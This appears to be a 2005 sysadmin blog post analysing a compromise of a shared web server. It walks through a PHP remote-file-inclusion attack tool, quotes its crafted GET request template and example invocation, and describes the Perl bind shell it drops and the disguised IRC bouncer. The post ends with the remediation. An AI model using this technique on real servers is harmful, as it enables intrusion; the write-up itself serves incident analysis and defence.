January 18th, 2005

While poking around in /tmp on one of our shared-customer web servers the other day, I noticed a /tmp/... directory owned by www. Seemed a bit odd, so I looked inside and found such gems as hide.c, psybnc, and bleh2.pid. As I was busy at the time, I killed the IRC bot that was being run and cleaned up the directory and moved on.

Today, however, I noticed the same set of files had been put back, with timestamps of yesterday. I looked into it some more and it appears to be a root-kit-of-sorts (that doesn't actually get root, and its only purpose is to run an IRC bot/bouncer).

The main program, named "dario", is a program written in C that, given a URL to a PHP script vulnerable to accepting user-supplied data for an fopen(), will connect to the webserver and issue a GET request with a path of the local server's IP and the 'index' file:

GET /%shttp://%s:%d/index HTTP/1.0
Host: %s:%d

Using the conveniently-supplied example in the dario source, running the script from as:

./dario http://localhost/index.php?file=

would connect to the server 'localhost' and issue a GET request of:

GET /index.php?file= HTTP/1.0

the program then responds to the PHP script (now calling fopen() with a URL of the local server), as an HTTP server responding to the '/index' request and feeds it the output of the "evilcode.php" file.

This PHP code, when handed to the remote server, will echo the output of 'uname', write some Perl code to the /tmp/.bs.pl file, make it executable, and run it in the background.

Now that the .bs.pl file is running, it is listening on TCP port 60021. Connecting to the just-exploited server on that port will yield a shell, running as the Apache user (www in our case).

Running 'strings' on the lynx.core file that was conveniently located in the script kiddie's directory, I was able to see what they downloaded a psybnc archive among other lame programs used to try to cover the person's tracks. I couldn't help but laugh, though, since their attempts didn't seem to work very well on OpenBSD:

www      27014  0.0  0.0    92     4 ??  Is    Mon05AM  0:00.00 httpd: child (httpd) (bd)
www      20342  0.0  0.0   508     4 ??  I     Mon05AM  0:00.04 perl: lpd (perl)

Gee, i really thought that was the lpd daemon running on our web server…

Anyway, the reason all of this was possible was due to a customer's website being poorly coded in that they have one main PHP wrapper script (index.php) and the links on their page feed it a "page=something.html" argument for it to open that file and wrap around it. No validation of the input, obviously, and exploiting PHP's ability to fopen() URLs yields arbitrary code execution.

Why PHP's allow_url_fopen option was enabled on the servers, though, I don't know. I shut it off on all of them and cleaned up the mess from the kiddiots. It sure would be nice to actually be able to use OpenBSD's chrooted Apache on these servers, but being required to run mod_php, mod_frontpage (oh hell yeah!), Perl, Python, TCL, and whatever else customers demand just doesn't make it feasible. PHP's built-in security measures like safe_mode and open_basedir don't do much to thwart a customer that can upload a Perl script to do what they want.

Questions or comments?
Please feel free to contact me.